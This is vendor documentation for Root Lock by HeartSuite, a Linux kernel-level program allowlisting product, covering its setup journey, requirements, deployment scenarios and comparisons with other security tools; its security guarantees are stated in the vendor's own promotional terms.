Root Lock by HeartSuite Documentation

• 1: Introduction and Overview
• 1.1: Root Lock by HeartSuite Overview
• 1.2: The Setup Journey
• 1.3: System Requirements
• 1.4: Deployment Scenarios
• 1.5: How Root Lock by HeartSuite Compares
• 1.6: Security as Economics
• 1.7: Linux Security Layer Analysis
• 1.8: When Root Isn't Enough
• 2: Getting Started
• 2.1: Before You Begin
• 3: Obtaining and Installing Root Lock by HeartSuite
• 3.1: Obtaining Root Lock by HeartSuite
• 3.2: Installing Root Lock by HeartSuite – Part 1
• 3.3: Installing Root Lock by HeartSuite – Part 2
• 4: Verifying Installation and Basic Setup
• 5: Allowlisting Programs
• 5.1: Allowlisting Basics
• 5.2: Batch Allowlisting Tools
• 6: Script Launchers and Python Setup
• 6.1: How Script Launchers Work
• 6.2: Configuring Script Launchers
• 6.3: Included Script Launchers
• 7: Network and Remote Access
• 8: Alert Settings
• 8.1: SIEM and Fleet Integration
• 8.2: Central Policy Management and External Control
• 9: Mode Switching and Lockdown
• 10: Licensing and Subscription
• 11: Advanced Configuration and Maintenance
• 11.1: Protecting During Maintenance
• 11.2: Adjusting the Cache Size
• 11.3: Restricting Kernel Module Loading
• 11.4: Updating HeartSuite
• 11.5: File Backup and Versioning
• 12: Troubleshooting and Logs
• 13: FAQs
• 14: Kernel Security Transparency
• 15: Kernel Hardening
• 15.1: Procurement Brief: Kernel Hardening at a Glance
• 15.2: Enterprise Adoption Guide: The Root Lock by HeartSuite Kernel in Regulated Environments
• 15.3: Distribution Compatibility Matrix
• 15.4: Kernel Support Policy
• 15.5: CVE Hygiene for Scanners and Auditors
• 15.6: Supply Chain and Advisory Feeds
• 15.7: Kernel Evidence Status
• 15.8: Kernel Hardening Comparison Matrix (6.18.9)
• 15.9: Kernel Hardening Comparison Matrix
• 15.10: Security Auditor Brief: Kernel Hardening Posture
• 15.11: LSM Comparison: HeartSuite vs SELinux, AppArmor, and TOMOYO
• 15.12: Analyst Summary: HeartSuite Kernel Hardening
• 16: Roadmap 2016 — present
• 17: Appendices
• 18: Compliance Quick Reference
• 19: Compliance Reference: NIST CSF & ISO 27001
• 20: SOC 2 Control Mapping

1 - Introduction and Overview

Root Lock by HeartSuite | Humans in Command

Overview: Every attack does three things: run a program, access files, make a network connection. Root Lock by HeartSuite enforces default-deny on all three at the kernel level — per program, not per user. In Lockdown, any program not on the allowlist — including malware running as root — is blocked before it can execute. The immutable seal refuses any change to the allowlist while running, including by root. Undoing Lockdown requires a reboot with physical access. See Mode Switching and Lockdown for the activation prep (per-panel actions/opt-outs including [g] tool restriction, read-only inventory) and mechanism. The Dashboard guides you through a 7-phase journey from installation to Lockdown, always showing your current progress and the Suggested Next Step.

In this section

• Root Lock by HeartSuite Overview — Core features, how it protects against malware, and the 7 phases.
• The Setup Journey — The seven phases from installation to Lockdown, the Cloud and Local paths, and how the Dashboard guides you.
• System Requirements — Compatible systems, kernel versions, and prerequisites.
• Deployment Scenarios — Environments and workloads where Root Lock by HeartSuite fits best, plus notes on incompatible stacks.
• How Root Lock by HeartSuite Compares — What Root Lock by HeartSuite replaces, what it complements, and how it can be circumvented.

For detailed installation steps, see Installation. Root Lock by HeartSuite supports both Cloud (pre-installed) and Local (manual install) paths — both converge at the Dashboard after Phase 1 (System Verification).

1.1 - Root Lock by HeartSuite Overview

Overview: Every attack does three things: run a program, access files, make a network connection. Root Lock by HeartSuite controls all three — per program, not per user. Your SSH server and your web server both run as root; they still get different permissions because they are different programs. Any program not on the allowlist is blocked at the kernel before it can run or cause damage.

Kernel-level enforcement

Root Lock by HeartSuite uses a modified Linux kernel that enforces an allowlist-based security model. No program can execute without an allowlist entry — and each allowlist entry also controls which files the program can read or write, and which network connections it can make. Even if malware is downloaded to a Root Lock by HeartSuite server, the kernel prevents it from running or causing damage.

The Dashboard is the central interface. It tracks your progress through a 7-phase setup journey, shows what’s waiting for review, and always suggests the next step.

The 7 phases

Reduced kernel footprint

The security industry patches vulnerabilities one at a time. Root Lock by HeartSuite removes the features attackers rely on — by design.

Most malware escalates privilege by reaching for the same handful of kernel features: eBPF to hide processes, FUSE to redirect reads, overlay filesystems to shadow directories, userspace LSM frameworks (AppArmor, SMACK, Landlock) to pivot through, and unprivileged user namespaces to gain root without credentials.

The Root Lock by HeartSuite kernel is deliberately compiled without them. These primitives are the attack surface, path to root, and bypass vectors the allowlist model exists to close.

A stock Ubuntu kernel ships with over 6,600 loadable modules. The HeartSuite kernel ships with 13 — one config file you can read in an afternoon.

Detection tools like Falco, Cilium Tetragon, and bpftrace watch these features. Root Lock by HeartSuite removes them instead. Nothing to watch. Nothing to bypass. No agent to kill. No race against the attacker. For the layer comparison, see Kernel architecture.

Workloads needing the omitted primitives (on-host containers, local eBPF, rootless) are not a fit by design. See Deployment Scenarios for alternatives.

Features

1. Program Allowlist

An allowlist entry defines what a program is permitted to do — whether it can execute, which files it can read or write, and which network connections it can make. The Root Lock by HeartSuite kernel requires every program to have an allowlist entry before it is permitted to run.

The Dashboard review queues present pending items for approval:

• Programs queue ([p]) — programs attempting to execute
• File Access queue ([f]) — programs attempting to read or write files
• Internet Access queue ([i]) — programs attempting outbound connections

Each queue manages volume through intelligent grouping — not blind bulk approval:

• Individual review: Items shown one at a time with full metadata (package name, description, category, maintainer, install date)
• Grouped review: Related items (e.g., “847 file reads from /usr/lib/python3/”) presented as a single group with a representative sample shown
• Queue summary: An orientation view of total counts and a breakdown by program shown before reviewing begins

File access is divided into read access and write access. Write access always includes read access. These are approved separately — approving a file read grants read access; approving a file write upgrades to write access.

2. Setup Mode and Lockdown

Root Lock by HeartSuite operates in two modes:

• Setup Mode: The kernel logs all program executions, file accesses, and network connections without blocking them. Use this mode to build the allowlist by reviewing queues and approving programs and their access patterns. The Dashboard guides this process.
• Lockdown: The kernel enforces the allowlist. Programs without an allowlist entry are blocked. Programs that exceed their permissions are blocked.

Activating Lockdown requires all review queues to be empty, alerts to be configured, and an active subscription. The Dashboard presents a precondition checklist. Before the final confirmation, the prep shown during Lockdown activation offers actions and opt-outs (e.g. [u] undo auto-narrowed grants, [p] patch, [g] restrict rm/cp/mv, [x] exclude write conflicts). The inventory and summaries are read-only. It requires typing YES (case-sensitive) to confirm. See Mode Switching and Lockdown for full keys and flow.

3. Lockdown

Lockdown protects the integrity of allowlist entries by making them immutable. Once applied, no changes can be made to the allowlist while the server is running — preventing attackers from modifying the security configuration, even with root access.

After activating Lockdown, the Dashboard offers one reboot option: [r] Reboot — Lockdown active on next boot. Lockdown is engaged automatically on every HeartSuite kernel boot; no program or user, including root, can reverse it at runtime. To make changes, the Dashboard’s Maintenance ([m]) guides you through the correct maintenance path — including a guided 3-step process that boots the Non-HS kernel.

Because access permissions are enforced inside the Root Lock by HeartSuite kernel itself, Root Lock by HeartSuite cannot be circumvented by any program or user, including root, while the Root Lock by HeartSuite kernel is running.

4. File backup and versioning

Root Lock by HeartSuite automatically backs up files in designated directories and prevents all programs from accessing the backups — only Root Lock by HeartSuite itself can reach them. The version manager can restore any version of a backed-up file, regardless of whether it was encrypted, deleted, or modified.

Modern ransomware destroys backup systems before encrypting files — shadow copies and backup agents are typically the first targets. Root Lock by HeartSuite’s backups are not permission-protected: under Lockdown, the kernel itself blocks write access to backup files. No program, including root, can reach them.

The allowlist blocks most attacks at the kernel. When an approved program is compromised, a backup on every write means recovery starts from the moment before damage began — not the last scheduled snapshot.

5. Secure Script Launchers

Allowlist entries can be created for interpreted code such as Python, PHP, and Perl. Root Lock by HeartSuite provides Secure Script Launchers that identify the specific script being run when an interpreter is launched, enabling per-script access control with the same granularity as compiled programs.

Two setup paths

Cloud Path: Launch a pre-installed cloud instance. The Dashboard appears immediately and confirms Phase 1 is complete. Proceed directly to the review queues.

Local Path: Download from heartsecsuite.com, extract, install, and boot the Root Lock by HeartSuite kernel. The System Setup guides you through multiple setup steps with a step counter. Once the Dashboard confirms Phase 1 is complete, both paths merge.

How Root Lock by HeartSuite stands alone

No other product combines all three: enforcement that survives root compromise, standalone operation with no background process or vendor console, and a backup on every file write — not on a schedule, on every write. Each exists separately in other products. Together, they make Root Lock by HeartSuite the right choice for deployments where the security layer itself must be protected from the attacker who is already inside. The allowlist is sealed — immutable on disk, refused at runtime by the kernel itself: no program or user, including root, can modify it while the machine is running. The backup files are protected by the Root Lock by HeartSuite kernel itself, not by filesystem permissions.

Is Root Lock by HeartSuite right for you?

Root Lock by HeartSuite is a strong fit for production servers, closed appliances, regulated workstations, build and CI infrastructure, and AI agent sandboxes. Containers fit as OCI images built and run off-host; running a shared-kernel container runtime directly on a host running the HeartSuite kernel is not a fit by design — the kernel omits the overlay and user-namespace primitives that would reintroduce the attack surface the allowlist model exists to close. Hosts where eBPF-based tooling must run locally require the maintenance kernel for the same reason: the BPF syscall and verifier are deliberately absent. See Deployment Scenarios for a full breakdown.

If you already run Falco, AppArmor, gVisor, or a Linux EDR agent — or a SIEM, NDR platform, or vulnerability scanner — see How Root Lock by HeartSuite Compares to understand which tools Root Lock by HeartSuite replaces, which it runs alongside, how it can be circumvented, and how the operational cost compares to SELinux, EDR, and tools like Zafran — including what changes for patching urgency and alert volume.

To get Root Lock by HeartSuite: launch a pre-installed cloud instance or download the Local Path package from heartsecsuite.com. Both arrive at the Dashboard — Getting Started covers the rest.

1.2 - The Setup Journey

Overview: Root Lock by HeartSuite must complete a guided setup journey in Setup Mode before it can enforce security in Lockdown.

Why Setup Mode is necessary

Root Lock by HeartSuite enforces a default-deny policy: every program must be explicitly approved to execute, to access files, and to make network connections — including programs running as root. Immediately after installation, the allowlist is empty. If the system activated Lockdown at this point, it would block the programs required for boot and shutdown, rendering the system inoperable.

Setup Mode solves this problem. In Setup Mode, Root Lock by HeartSuite logs all activity without blocking anything. You review activity through the Dashboard queues, approve programs and their access, and build an allowlist that reflects the system’s actual workload. Once the allowlist is complete, you activate Lockdown.

Setup Mode is the default after installation. Root Lock by HeartSuite’s automated backup also operates during Setup Mode, capturing versions of protected directories so files can be restored even before Lockdown is active.

The 7 phases

Root Lock by HeartSuite organizes the setup journey into seven phases. The Dashboard tracks progress through each phase and always displays a Suggested Next Step.

Cloud vs. Local Path

Cloud Path

Users who launch a pre-installed Root Lock by HeartSuite cloud instance (AWS AMI, GCP image) boot directly into Setup Mode. The Dashboard confirms Phase 1 is complete. The Dashboard appears on first login with the current system state and a Suggested Next Step. No manual verification is required.

Local Path

Users who install Root Lock by HeartSuite on bare-metal or custom VMs follow a longer path:

1. Download and extract the installation package.
2. Prepare GRUB and install the Root Lock by HeartSuite kernel.
3. Root Lock by HeartSuite reads the startup and shutdown logs automatically, rebooting between passes until all startup and shutdown programs are in the allowlist.
4. After Phase 1 is complete, the Dashboard appears and the journey merges with the Cloud path.

Both paths converge at the Dashboard after Phase 1. From that point forward, the workflow is identical.

From installation to Lockdown

The following diagram shows the path from installation to Lockdown, including the maintenance cycle.

graph TD
    A[Install Root Lock by HeartSuite] --> B{Cloud or Local?}
    B -- Cloud --> C[Boot instance — Dashboard confirms Phase 1 complete]
    B -- Local --> D["Boot setup runs automatically — reboots between passes"]
    D --> C
    C --> E[Dashboard appears — Suggested Next Step]
    E --> F["Phase 2: Programs queue — approve programs"]
    F --> G["Phase 3: Script Launchers — if applicable"]
    G --> H["Phase 4: File Access queue — approve file access"]
    H --> I["Phase 5: Internet Access queue — approve connections"]
    I --> J["Phase 6: Configure alerts"]
    J --> K["Phase 7: Activate Lockdown"]
    K --> L["[r] Reboot — Lockdown active on next boot"]
    L --> M{Maintenance needed?}
    M -- Yes --> N["Maintenance guides through steps"]
    N --> K
    M -- No --> O[System secured]

Activating Lockdown

When phases 2 through 6 are complete, the Dashboard unlocks Phase 7. The Suggested Next Step will prompt you to activate Lockdown. Activating Lockdown requires typing YES (case-sensitive) to confirm and displays an allowlist summary and precondition checklist before proceeding. Before confirmation, the prep shown during Lockdown activation offers actions and opt-outs (e.g. [u] undo grants, [p] patch, [g] restrict tools from observed usage, [x] exclude — see Mode Switching and Lockdown for details). The inventory is read-only.

After activating Lockdown, the Dashboard offers one reboot option: [r] Reboot — Lockdown active on next boot. Lockdown is engaged automatically on every HeartSuite kernel boot.

Maintenance in Lockdown

To perform system maintenance after activating Lockdown, select Maintenance ([m]) from the Dashboard. The immutable seal is active by default — the Maintenance guides you through a 3-step process across two reboots: removing immutable flags on the maintenance kernel, making changes, then returning to the Root Lock by HeartSuite kernel to review new activity. The Dashboard resumes at the correct step after each reboot.

For full details, see Protecting During Maintenance.

1.3 - System Requirements

Overview: Root Lock by HeartSuite requires an x86 Linux system running a supported distribution. Debian, Ubuntu-derived, Alpine, and several RPM-based distributions are supported or validated; see the Distro Compatibility Matrix for tiers and versions. It ships with two Root Lock by HeartSuite kernels (5.19 legacy and 6.18 primary) and a set of tools that enforce allowlist-based security at the kernel level.

Supported platforms

Root Lock by HeartSuite supports Debian/Ubuntu-derived and Alpine distributions on x86, plus RPM-based distributions validated in the v1.6.4 release gate (Rocky 9.7, Fedora 41, CentOS Stream 9). Branded RHEL and AlmaLinux are RHEL-compatible — validate on your gold image before fleet Lockdown. Full tiers and notes: Distro Compatibility Matrix.

Kernel

Root Lock by HeartSuite is distributed with two Root Lock by HeartSuite kernels based on mainline Linux: 5.19 and 6.18. One of these kernels must be booted for Root Lock by HeartSuite to function. The Dashboard verifies kernel activation as part of Phase 1 (System Verification) and provides orientation on every boot.

Software compatibility notes

The HeartSuite kernel is deliberately built without several features attackers use for privilege escalation or to bypass controls (eBPF, FUSE, overlay, user namespaces, etc.). These are the attack surface the design removes. Software that needs them runs on the maintenance kernel or a separate system.

The HeartSuite kernel is installed alongside your existing kernel via GRUB — it does not replace it. Setup Mode reveals any compatibility issue before Lockdown enforces: programs that would fail in Lockdown appear in the Dashboard review queues during the observation period. Software not in the table below will run without modification.

The Root Lock by HeartSuite kernel itself can run as a guest inside KVM, VMware, or other hypervisors — only running virtual machines from within the Root Lock by HeartSuite kernel is unavailable.

These omissions are deliberate. Root Lock by HeartSuite replaces the runtime tools these primitives enable. See Reduced Kernel Footprint and Deployment Scenarios.

1.4 - Deployment Scenarios

Overview: Root Lock by HeartSuite enforces a default-deny policy at the kernel level — each program must be explicitly approved to execute, to access files, and to make network connections, including malware running as root. In Setup Mode, the system logs everything it sees so you can review and approve it through the Dashboard queues; Lockdown then enforces what you approved. Patches, new tools, and evolving workloads are added the same way: open a maintenance window — reboot into Setup Mode, install or change what you need, review the new entries in the queues, then re-engage Lockdown. Nothing about this depends on cloud connectivity, a SaaS policy server, or an agent-to-console channel — Root Lock by HeartSuite operates standalone. The HeartSuite kernel is installed alongside your existing kernel via GRUB — you can boot back to it at any time, and Setup Mode surfaces compatibility issues before Lockdown enforces anything. The scenarios below are where that model fits best, followed by the ones where it doesn’t.

Production servers

A web server serves pages. A database answers queries. A reverse proxy forwards traffic. Each has a shape that Setup Mode captures over a few days of logging — the programs that run, the files they touch, the destinations they reach — which you then review and approve in the Dashboard queues before activating Lockdown. Patches, package upgrades, and new services follow the same path: open a maintenance window, install the changes in Setup Mode, approve the new entries, then re-engage Lockdown. The immutable seal goes one step further: while the server runs, even root can no longer change the allowlist. An attacker with root is left with nowhere to go.

CVE-2026-31431 — privilege escalation via AF_ALG — demonstrates what this means. An attacker exploiting it reaches root. On a Root Lock by HeartSuite kernel, that path does not exist — AF_ALG is not compiled in. But even if it had been, Lockdown closes every path from there. The kernel refuses to clear immutable flags. Mount operations are blocked. Writes to the audit log are blocked. Root cannot modify configuration, cannot add a backdoor, and cannot survive a reboot.

See Kernel Security Transparency for the full CVE status table and scanner guidance.

Closed appliances and embedded devices

A kiosk, a point-of-sale terminal, an industrial control gateway, a network appliance, a medical device, a defence endpoint — these systems don’t have interactive users. They have a job. The programs that do the job are fixed. An attacker’s first move is usually to introduce a new one, and Root Lock by HeartSuite blocks that move before it starts. Lockdown extends that protection so even root cannot quietly extend the allowlist while the system runs. File Backup is the recovery layer behind both. The kernel restricts the backup directory to HeartSuite’s own backup tooling — no other allowlisted program, however privileged, can read or overwrite it. So even if an approved program is compromised and corrupts a file, the previous versions remain intact and restorable from the Dashboard’s Backup.

Regulated workstations and analyst systems

In financial, legal, healthcare, and defence workplaces, a workstation’s toolchain is set by policy, not preference. The Dashboard includes review queues that let you approve each tool and add it to the allowlist. Only the tools you approve can execute — everything else is blocked.

In regulated industries — financial services, healthcare, defence — auditors ask a specific question: can an administrator, or an attacker who has compromised an administrator account, disable your security controls? With Lockdown active, the answer is no. No program or user inside the running Root Lock by HeartSuite kernel, including root, can modify the allowlist or disable enforcement. Disabling enforcement requires reaching the boot path itself: a keyboard and monitor on a physical machine, a serial console, or — on a virtual machine — the hypervisor that owns the guest’s disk image and memory. On VMs the hypervisor becomes the outer protective layer; Root Lock by HeartSuite protects everything inside. Platform controls that protect the boot path (measured boot, disk encryption with keys held by the platform, controlled hypervisor access) extend that protection upward. For environments subject to SOC 2, PCI DSS, HIPAA, or ISO 27001, that is a concrete answer to the privileged-access control question — and a clear specification of which controls remain the platform’s responsibility.

For managed security providers, this answer is the same for every HeartSuite-protected server they manage: under Lockdown, no administrator credential, no root session, and no remote path changes the security policy. Bypass requires physical presence. For the competitive comparison on this point, see How Root Lock by HeartSuite Compares.

Build, CI, and release infrastructure

A build host sits at the top of a supply chain. Compromise it, and every downstream consumer is at risk. CVE-2024-27198 — JetBrains TeamCity, unauthenticated RCE — demonstrates what this means. An attacker who reaches a TeamCity server can execute any program without credentials. On a Root Lock by HeartSuite build host, that program has no allowlist entry. The kernel refuses to run it.

A supply chain attacker who compromises the build pipeline itself — using its own credentials and tooling — does not introduce a new program; in the May 2026 TanStack incident, 84 malicious package versions across 42 packages were published in six minutes using valid pipeline credentials. The execution gate fires but does not block: the pipeline already has a valid allowlist entry. The attack is contained, not prevented at execution. The network allowlist still blocks: a compromised build tool cannot reach destinations outside its approved list, regardless of credential validity.

Root Lock by HeartSuite restricts the host to only approved programs, controlling which can execute, which files they can access, and which network connections they can make:

• Compilers, linkers, signing tools, and release scripts you approved in Setup Mode.
• Network destinations they need to fetch dependencies and publish build artifacts.

File Backup keeps versioned copies of signing keys and build output. The kernel restricts those copies to HeartSuite’s backup tooling — a compromised compiler, linker, or signing tool cannot read or overwrite them. So even if an approved tool is compromised, the previous versions remain intact and restorable from the Dashboard’s Backup.

Offline and air-gapped deployments

Some systems cannot assume the network is there. Industrial control networks, defence systems, classified environments, ships, aircraft, and recovery-of-last-resort servers either have no outbound connectivity or cannot be permitted to reach the internet at all. Root Lock by HeartSuite operates standalone — the allowlist lives on the machine, enforcement happens inside the kernel, and logs go to whichever local channel you configure. There is no telemetry upstream and no policy server to round-trip with. An offline Root Lock by HeartSuite system protects exactly the same way as an online one. Cloud-dependent EDRs degrade sharply in these environments; Root Lock by HeartSuite does not.

AI agent and automation sandboxes

Autonomous agents are powerful because they decide what to do next. That is also why they need a cage. Pwn2Own Berlin 2026 added an AI/ML tools category for the first time; every target fell. Run Root Lock by HeartSuite as the guest kernel inside a per-task virtual machine — a Kata Container, a Firecracker microVM, or plain KVM. You build the allowlist once: run a representative agent task in Setup Mode, review and approve the tools it uses through the Dashboard queues, then bake that allowlist into the VM image. Each task VM boots from that image into Lockdown with the allowlist already in force. The allowlist holds for the life of the task. Then the VM is gone. Enforcement is in the guest kernel itself — no LSM module to unload, no userspace shim to detach, no separate agent process to kill from inside the guest. gVisor adds a userspace syscall filter to protect the host from an untrusted guest; Root Lock by HeartSuite is the guest kernel, protecting the workload from an attacker who reaches root inside the VM.

Container hosts

Docker, containerd, Kubernetes, and CRI-O all run on a Root Lock by HeartSuite host. The installer detects which container engine is present and asks you to choose a Container host or Standard host install. Container host installs include overlay filesystem support and Setup Mode behavior adapted for container runtimes — Setup Mode logs container-runtime programs, overlay mounts, and each container image intended to run under Lockdown so you can review and approve them in the Dashboard queues before activating Lockdown.

Lockdown seals the running container set — the kernel stops accepting new mount operations, including the overlay mounts and bind-mounts every container start requires. The same protection blocks attackers from constructing paths to shadow protected files. Containers running at the moment Lockdown engages continue running. New containers, image pulls, and restarts after exit each require a maintenance window — reboot to Setup Mode, start the containers, return to steady state, and re-engage Lockdown. The Dashboard shows mount-refusal messages from the kernel when a container engine tries to start a new container after Lockdown.

This is the right pattern for long-lived service containers, Kubernetes nodes with a stable pod set, and batch jobs that complete before Lockdown engages.

Where Root Lock by HeartSuite is not a fit

A few workloads are incompatible with the HeartSuite kernel as shipped — by design. The kernel omits overlay filesystems, user namespaces, and the BPF syscall because they are the attack surface, path to root, and bypass primitives the allowlist model removes.

• Hosts requiring continuous container scheduling — dynamic deployments, autoscaling, and pod rescheduling after node loss each require new mount operations that Lockdown refuses. Container hosts with a steady-state workload are supported via the Container-host install above.
• Hosts where eBPF-based tooling must run locally — Falco, Cilium, Tetragon, bpftrace, and similar tools require the BPF syscall, which is deliberately absent. These tools can still observe the HS host from adjacent infrastructure via network taps or log forwarding. For on-host forensics, use strace and /proc inspection.
• Hypervisor hosts running virtual machines — Root Lock by HeartSuite protects workloads running inside a kernel; a hypervisor host runs the inverse model, granting trusted access to guest workloads it does not control. The HeartSuite kernel is built for the first case, not the second. KVM host mode — Root Lock by HeartSuite acting as the hypervisor — is not a supported configuration; the kernel features KVM requires have been compiled out. Root Lock by HeartSuite runs as a VM guest on KVM, cloud hypervisors, and other platforms, and provides kernel-level enforcement inside the guest — which is the deployment shape this product was designed for.
• Systems that require rootless containers — unprivileged user-namespace creation is disabled by policy on the HeartSuite kernel; it is a common path to privilege escalation without credentials. Workloads requiring rootless containers should run on a separate host.
• Applications that update daily or on an unpredictable schedule — each update that adds a new binary, dependency, or network destination requires a maintenance window: open Setup Mode, run the update, approve the new allowlist entries, and re-engage Lockdown. That process fits controlled patch schedules. At daily cadence the overhead is daily. Applications with a predictable update cycle are a better fit.

See System Requirements → Software Compatibility Notes for the full list.

Kubernetes-native runtime security, cross-platform endpoint protection across Windows and macOS, developer per-application sandboxing, and enterprise backup at fleet scale each have dedicated products built for them. Root Lock by HeartSuite is built for one thing: Linux systems where the security policy must survive a compromised root account.

1.5 - How Root Lock by HeartSuite Compares

Overview: Root Lock by HeartSuite controls per program whether it can execute, which files it can read or write, and which network connections it can make — including for programs running as root. Standard operating systems grant these rights to users. Ken Thompson built Unix that way in 1969 on an unused PDP-7 at Bell Labs — designed for a small group of trusted researchers, not for networked infrastructure or a world with malware. Every operating system since inherited the decision unchanged. Root Lock by HeartSuite does not. It replaces a set of runtime-confinement and kernel-observability tools whose enforcement can be disabled by an attacker with root. It does not replace your SIEM, network detection, vulnerability scanner, or HIDS — those answer different questions and should be run alongside.

Kernel architecture

graph TB
    Root(["Root attacker"])

    subgraph SL["Standard Linux — runtime layers"]
        EDR["EDR agent\nCrowdStrike · SentinelOne"]
        BPF["eBPF runtime\nFalco · Tetragon · Sysdig"]
        LSM["LSM hooks\nAppArmor · SELinux"]
        K["Kernel binary"]
        EDR --> BPF --> LSM --> K
    end

    subgraph HS["Root Lock by HeartSuite — compiled enforcement"]
        HSK["Kernel binary\nenforcement compiled in\nBPF syscall absent"]
    end

    Root -."kill".-> EDR
    Root -."unload".-> BPF
    Root -."set permissive".-> LSM
    Root -."no path".-> HSK

    style EDR fill:#fdd,stroke:#c44
    style BPF fill:#fdd,stroke:#c44
    style LSM fill:#fdd,stroke:#c44
    style K fill:#eee,stroke:#888
    style HSK fill:#d4f4dd,stroke:#2a7a40

Standard Linux security tools are runtime layers an attacker with root can reach and disable. Root Lock by HeartSuite compiles enforcement into the kernel binary itself — the BPF syscall is absent, so there is no eBPF layer to unload, no agent to kill.

Every published Linux kernel CVE comes with the same question: is that kernel feature compiled into your hosts? For the features Root Lock by HeartSuite has compiled out, the answer is always no — without patching, without policy, without an agent checking.

Most runtime security products sit at Layer 3 (LSM hooks such as SELinux and AppArmor) or Layer 5 (userspace EDR agents such as CrowdStrike Falcon and SentinelOne). Root Lock by HeartSuite sits at Layer 2: enforcement is compiled into the kernel binary itself, not applied to it from outside. That placement is why every bypass in the table below requires physical presence rather than a remote privilege escalation. For the full taxonomy with all products mapped by layer, see Layer Analysis.

Security as economics

For an analysis of attacker cost, defender operational cost, and ROI comparison against SELinux, EDR, Zafran, and CTEM programs, see Security as Economics.

What Root Lock by HeartSuite replaces

The comparison below is scoped to preventive enforcement; telemetry, behavioural analytics, and incident response are addressed separately in What Root Lock by HeartSuite Complements. These products provide runtime confinement or kernel-level enforcement of some kind. Each has a known bypass path. The Root Lock by HeartSuite row is included in the same format for direct comparison — see Circumvention and Recovery below for detail.

The common pattern. Every product in this table can be disabled by an attacker who has already reached root. Root Lock by HeartSuite cannot — its enforcement is compiled into the kernel and its allowlist is sealed by filesystem immutability under Lockdown. This requires a different operational model, discussed in Circumvention and Recovery.

What each tool does best. Bypass surface is one dimension of comparison, not the whole picture. Each product above retains strengths Root Lock by HeartSuite does not replicate.

eBPF observers — Falco, Cilium Tetragon, Sysdig Secure, Tracee, and bpftrace — ship mature rule libraries, Kubernetes-aware context, and fleet-wide runtime telemetry. For behavioural alerting on Kubernetes nodes — particularly autoscaled clusters where the HeartSuite kernel’s deliberate omission of the BPF syscall makes on-host eBPF tooling a non-fit — those tools remain the right answer, and they can observe a Root Lock by HeartSuite host from adjacent infrastructure via network taps or log forwarding.

Userspace LSM frameworks — AppArmor, SELinux, SMACK, Landlock — offer policy capabilities Root Lock by HeartSuite does not replicate: SELinux refpolicy and domain transitions, AppArmor’s distribution-shipped per-application profiles, Landlock’s per-application self-confinement primitive. Root Lock by HeartSuite’s value is the sealed boundary — chattr +i immutability plus a running kernel that refuses runtime changes — not richer policy syntax. Migrating from AppArmor requires no cleanup: CONFIG_SECURITY_APPARMOR is compiled out of the HeartSuite kernel and existing profiles cease to apply at the first HeartSuite kernel boot.

seccomp-bpf sandboxes in systemd services, browser sandboxes, bubblewrap, and firejail sit closer to the syscall surface than Root Lock by HeartSuite can. A Chromium renderer’s own seccomp filter is genuine defence-in-depth from inside the program; Root Lock by HeartSuite does not replace it, and both layers are worth keeping.

gVisor addresses a different threat model — host protected from untrusted guest, via a userspace syscall-emulating kernel. Root Lock by HeartSuite addresses workloads protected from compromised root inside the kernel they run on. The two compose: Root Lock by HeartSuite as the guest kernel inside a gVisor-isolated container is a coherent stack.

Linux EDR — CrowdStrike Falcon, SentinelOne, Microsoft Defender for Endpoint, FortiEDR — provides telemetry, behavioural analytics, fleet-wide correlation through a SOC console, threat intelligence, and incident response. Root Lock by HeartSuite provides none of those. The honest position is prevention versus detection; most regulated environments run both, with HS block events forwarded to the EDR ingestion pipeline via the syslog channel rather than an on-host sensor.

Capability-based confinement

Capsicum (FreeBSD) operationalizes the same core thesis as Root Lock by HeartSuite: ordinary programs should not have unrestricted default access to the global OS namespace. It is the most architecturally principled approach to that problem outside of Root Lock by HeartSuite, and the comparison is worth being direct about.

How Capsicum works. After cap_enter(), any syscall that traverses a global namespace — open() with an absolute path, kill() with a PID — returns ECAPMODE immediately. Default access paths through the OS are severed at the syscall boundary. Per-FD rights masks then control what operations each open file descriptor permits. The design enforces this directly: no path through the global namespace means no access.

What structural elimination costs. Every sandboxed application — or a wrapper around it — must be rewritten. The application calls cap_enter(), pre-opens every file descriptor it will ever need before that call, and uses openat(fd, …) relative to those FDs thereafter. Sandboxing OpenSSH under Capsicum required explicit modifications to sandbox-capsicum.c. Libcasper exists specifically to handle operations that cannot be pre-opened — DNS lookups, /etc/passwd reads — via a dedicated delegation channel. For software you write yourself, the model is clean. For a fleet of existing Linux binaries you did not write, it means modifying every program you want to protect — or not protecting it.

How HS reaches the same goal without application changes. VFS hook points in namei.c, open.c, exec.c, and exit.c intercept path traversal and check the calling process’s allowlist entry against the path. Network hooks in socket.c check outbound routable connections — both connect() calls and sendto() calls with an explicit destination address — against the program’s IP allowlist; local IPC over UNIX domain sockets and NETLINK is exempt by design. Default access paths are filtered rather than severed. Existing Linux binaries run without modification; Root Lock by HeartSuite observes what they do and enforces the allowlist against it. Root Lock by HeartSuite makes this choice — hook-at-VFS rather than cap_enter-before-first-access — precisely to enable application transparency: no binary needs to be rewritten to be protected.

The Setup Mode gap. Capsicum has no learning phase. Policy lives in application source code, written at development time by the developer who wrote the application. There is no “observe what this binary actually needs at runtime, then derive its allowlist” workflow. For any environment running software it did not write — which is most production infrastructure — HS’s Setup Mode is the practical path: record what the binary does, review, approve, then lock. Capsicum offers no equivalent.

The policy-integrity gap. Because Capsicum’s policy is application code, there is no runtime policy database to protect after deployment. Root Lock by HeartSuite maintains an allowlist database, and Lockdown seals it — chattr +i across the relevant paths plus a kernel flag that blocks chattr via the ioctl hook at runtime, so no running program can remove the immutability. That second layer — protecting the policy itself from an attacker who has already reached root — has no analogue in Capsicum’s design, because Capsicum never needed it. Root Lock by HeartSuite needs it precisely because its policy is something an attacker would want to modify.

Platform. Capsicum is primary on FreeBSD. Linux support is incomplete. HS targets Linux 5.19.6 and 6.18 natively.

The two designs make opposite choices: modify the application, or maintain a policy database. For a Linux fleet running software you did not write, Root Lock by HeartSuite’s approach — maintain the database, get transparency and the full Setup → Lockdown lifecycle — is the one that covers the workload.

Formally verified microkernels

seL4 is the benchmark for machine-checked security guarantees in an OS kernel. Its proofs establish that every syscall behaves exactly as specified, that no information can pass between components without an explicit connection, and that these properties hold in the compiled binary on select platforms. Root Lock by HeartSuite and seL4 share the same goal — prevent programs from reaching resources they were not explicitly granted access to — and diverge on almost everything else.

